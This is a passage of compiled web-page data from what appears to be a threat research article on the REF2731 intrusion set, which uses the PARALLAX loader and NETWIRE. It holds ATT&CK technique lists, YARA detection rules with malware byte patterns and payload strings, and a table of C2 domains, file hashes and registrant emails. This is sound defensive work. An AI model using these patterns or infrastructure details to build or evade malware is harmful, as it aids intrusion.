1.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image39.jpg\",alt:\"gaza666 involvement in NETWIRE C2 in Campaign 1\",width:\"865\",height:\"1440\"})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"marketforce666\"}),\" (marketforce666@yandex[.]com) and \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" (chisholm.i@aol[.]com) share a relationship in that both emails were used in the registration of septton[.]com, which was used as a NETWIRE C2 domain for Campaign 1. The \",(0,n.jsx)(e.strong,{children:\"666\"}),\" term appended to \",(0,n.jsx)(e.strong,{children:\"marketforce\"}),\" and \",(0,n.jsx)(e.strong,{children:\"gaza\"}),\" could be another indicator of their relationship, but this could not be confirmed.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"diamond-model\",children:\"Diamond Model\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Security utilizes the \",(0,n.jsx)(e.a,{href:\"https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf\",rel:\"nofollow\",children:\"Diamond Model\"}),\" to describe high-level relationships between adversaries and victims of intrusions.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image8.png\",alt:\"REF2731 diamond model\",width:\"651\",height:\"491\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"observed-adversary-tactics-and-techniques\",children:\"Observed Adversary Tactics and Techniques\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,n.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0042/\",rel:\"nofollow\",children:\"Resource Development\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0001/\",rel:\"nofollow\",children:\"Initial Access\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003/\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0004/\",rel:\"nofollow\",children:\"Privilege Escalation\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0004/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"techniques--sub-techniques\",children:\"Techniques / Sub techniques\"}),`\n`,(0,n.jsx)(e.p,{children:\"Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1583/001/\",rel:\"nofollow\",children:\"Acquire Infrastructure: Domains\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1566/001/\",rel:\"nofollow\",children:\"Phishing: Attachment\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1574/002/\",rel:\"nofollow\",children:\"Hijack Execution Flow: DLL Side-Loading\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process Injection\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1053/005/\",rel:\"nofollow\",children:\"Scheduled Task\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1106/\",rel:\"nofollow\",children:\"Native API\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/003/\",rel:\"nofollow\",children:\"Obfuscated Files or Information: Steganography\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1548/002/\",rel:\"nofollow\",children:\"Abuse Elevation Control Mechanism: Bypass User Account Control\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"detection\",children:\"Detection\"}),`\n`,(0,n.jsx)(e.h3,{id:\"detection-logic\",children:\"Detection Logic\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Behavioral Rules\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_netwire_rat_registry_modification.toml\",rel:\"nofollow\",children:\"NetWire RAT Registry Modification\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_remcos_rat_registry_or_file_modification.toml\",rel:\"nofollow\",children:\"Remcos RAT Registry or File Modification\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Detection Rules\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/persistence-via-scheduled-job-creation.html\",rel:\"nofollow\",children:\"Persistence via Scheduled Job Creation\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/command-prompt-network-connection.html\",rel:\"nofollow\",children:\"Command Prompt Network Connection\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Signatures\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Parallax.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Parallax\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Netwire.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Netwire\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Remcos\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule Windows_Trojan_Parallax_1 {\n meta:\n author = \\u201CElastic Security\\u201D\n creation_date = \"2022-09-05\"\n last_modified = \"2022-09-15\"\n license = \\u201CElastic License v2\\u201D\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Parallax\"\n threat_name = \"Windows.Trojan.Parallax\"\n strings:\n $COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }\n $png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }\n $config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }\n $winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }\n condition:\n $config_func or $winnet_function or $COM_png or $png_parse\n}\n\nrule Windows_Trojan_Parallax_2 {\n meta:\n author = \\u201CElastic Security\\u201D\n creation_date = \"2022-09-08\"\n last_modified = \"2022-09-08\"\n license = \\u201CElastic License v2\\u201D\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Parallax\"\n threat_name = \"Windows.Trojan.Parallax\"\n strings:\n $parallax_payload_strings_0 = \"[Ctrl +\" ascii wide fullword\n $parallax_payload_strings_1 = \"[Ctrl]\" ascii wide fullword\n $parallax_payload_strings_2 = \"Clipboard Start\" ascii wide fullword\n $parallax_payload_strings_3 = \"[Clipboard End]\" ascii wide fullword\n $parallax_payload_strings_4 = \"UN.vbs\" ascii wide fullword\n $parallax_payload_strings_5 = \"lt +\" ascii wide fullword\n $parallax_payload_strings_6 = \"lt]\" ascii wide fullword\n $parallax_payload_strings_7 = \".DeleteFile(Wscript.ScriptFullName)\" ascii wide fullword\n $parallax_payload_strings_8 = \".DeleteFolder\" ascii wide fullword\n $parallax_payload_strings_9 = \".DeleteFile \" ascii wide fullword\n $parallax_payload_strings_10 = \"Scripting.FileSystemObject\" ascii wide fullword\n $parallax_payload_strings_11 = \"On Error Resume Next\" ascii wide fullword\n $parallax_payload_strings_12 = \"= CreateObject\" ascii wide fullword\n $parallax_payload_strings_13 = \".FileExists\" ascii wide fullword\n condition:\n 7 of ($parallax_payload_strings_*)\n}\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"parallax-payload-extractor\",children:\"PARALLAX Payload Extractor\"}),`\n`,(0,n.jsx)(e.p,{children:\"Automating the payload extraction from PARALLAX is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples in a timely manner.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Our extractor takes either a directory of samples with \",(0,n.jsx)(e.strong,{children:\"-d\"}),\" option or \",(0,n.jsx)(e.strong,{children:\"-f\"}),\" for a single sample, You can use the \",(0,n.jsx)(e.strong,{children:\"-o\"}),\" switch to set the output directory of the payloads.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image6.png\",alt:\"Payload extraction from a PARALLAX sample\",width:\"1440\",height:\"750\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"To enable the community to further defend themselves against existing and new variants of the PARALLAX loader, we are making the payload extractor open source under the Apache 2 License. The payload extractor documentation and binary download can be accessed \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/parallax-payload-extractor\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsx)(e.p,{children:\"In the above research, we have analyzed the two campaigns that we\\u2019ve tracked using macro-embedded lure documents that download seemingly benign artifacts from the staging hosts on the Internet, and weaponize those artifacts to perform persistence, command and control, and remote access of an infected host.\"}),`\n`,(0,n.jsx)(e.p,{children:\"We also highlighted the elements used to cluster the two campaigns together and how the campaigns can be used with analytical models to impose costs on the campaign owners.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,n.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://blog.morphisec.com/parallax-rat-active-status\",rel:\"nofollow\",children:\"https://blog.morphisec.com/parallax-rat-active-status\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/software/S0198/\",rel:\"nofollow\",children:\"https://attack.mitre.org/software/S0198/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/groups/G0120/\",rel:\"nofollow\",children:\"https://attack.mitre.org/groups/G0120/\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"http://blog.nsfocus.net/darkcasino-apt-evilnum/\",rel:\"nofollow\",children:\"http://blog.nsfocus.net/darkcasino-apt-evilnum/\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"indicators\",children:\"Indicators\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Artifacts are also available for \",(0,n.jsx)(e.a,{href:\"https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc090b3574bb4e7be/633615e4a920fd42f67e7534/ref2731-indicators.zip\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"STIX 2.1 Indicator Type\"}),(0,n.jsx)(e.th,{children:\"Identifier\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"Brian_Tax_Docs.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"All Docs.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"msi.dll PARALLAX loader / NETWIRE\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"cs16.wav (shellcode)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"cs16.cfg (config for PNG stage)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"paper.png (stager for NETWIRE)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"321d840a23b54bb022ff3a5dcac837e7aec14f66e3ec5e6da5bfeebec927a46c\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"2021-EXTENSION.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"msvcr100.dll PARALLAX loader / NETWIRE\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"globalartisticservices[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"DigitalRotPrevention[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"InternationalMusicServices[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ywiry[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ohioohioa[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"septton[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"solro14.s3.ap-northeast-3.amazonaws[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"mikemikemic[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"Domains registered by marketforce666@yandex[.]com\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ppl-biz[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"Domains registered by marketforce666@yandex[.]com\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"opnarchitect[.]net\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"Domains registered by marketforce666@yandex[.]com\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"micsupportcenter[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"russnet123@protonmail[.]com\"}),(0,n.jsx)(e.td,{children:\"email-addr\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain registration email address\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"chisholm.i@aol[.]com\"}),(0,n.jsx)(e.td,{children:\"email-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain registration email address\"})]})]})]})})]})}function A(i={}){let{wrapper:e}=i.components||{};return e?(0,n.jsx)(e,Object.assign({},i,{children:(0,n.jsx)(c,i)})):c(i)}var T=A;return y(x);})();\n;return Component;"},"_id":"articles/exploring-the-ref2731-intrusion-set.mdx","_raw":{"sourceFilePath":"articles/exploring-the-ref2731-intrusion-set.mdx","sourceFileName":"exploring-the-ref2731-intrusion-set.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/exploring-the-ref2731-intrusion-set"},"type":"Article","imageUrl":"/assets/images/exploring-the-ref2731-intrusion-set/ref-intrusion.jpg","readingTime":"42 min read","series":"","url":"/exploring-the-ref2731-intrusion-set","headings":[{"level":2,"title":"Key Takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Execution Flow (PARALLAX loader)","href":"#execution-flow-parallax-loader"},{"level":3,"title":"First Stage (lure/macro)","href":"#first-stage-luremacro"},{"level":3,"title":"Second Stage (MsiDb.exe)","href":"#second-stage-msidbexe"},{"level":3,"title":"Third Stage (shellcode)","href":"#third-stage-shellcode"},{"level":3,"title":"Fourth Stage","href":"#fourth-stage"},{"level":3,"title":"Fifth Stage","href":"#fifth-stage"},{"level":2,"title":"Campaign Analysis","href":"#campaign-analysis"},{"level":3,"title":"Campaign 1","href":"#campaign-1"},{"level":4,"title":"Overview","href":"#overview"},{"level":4,"title":"Lure Documents","href":"#lure-documents"},{"level":4,"title":"Macro","href":"#macro"},{"level":4,"title":"Network Infrastructure","href":"#network-infrastructure"},{"level":4,"title":"Campaign 1 Indicators","href":"#campaign-1-indicators"},{"level":3,"title":"Campaign 2","href":"#campaign-2"},{"level":4,"title":"Overview","href":"#overview-1"},{"level":4,"title":"Lure Documents","href":"#lure-documents-1"},{"level":4,"title":"Macro","href":"#macro-1"},{"level":4,"title":"Network Infrastructure","href":"#network-infrastructure-1"},{"level":4,"title":"Campaign 2 Indicators","href":"#campaign-2-indicators"},{"level":2,"title":"Campaign Intersections","href":"#campaign-intersections"},{"level":3,"title":"The Pyramid of Pain","href":"#the-pyramid-of-pain"},{"level":2,"title":"The SEPTTON Domain","href":"#the-septton-domain"},{"level":3,"title":"marketforce666","href":"#marketforce666"},{"level":3,"title":"gaza666","href":"#gaza666"},{"level":2,"title":"Diamond Model","href":"#diamond-model"},{"level":2,"title":"Observed Adversary Tactics and Techniques","href":"#observed-adversary-tactics-and-techniques"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques / Sub techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"Detection","href":"#detection"},{"level":3,"title":"Detection Logic","href":"#detection-logic"},{"level":3,"title":"YARA","href":"#yara"},{"level":2,"title":"PARALLAX Payload Extractor","href":"#parallax-payload-extractor"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Indicators","href":"#indicators"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of 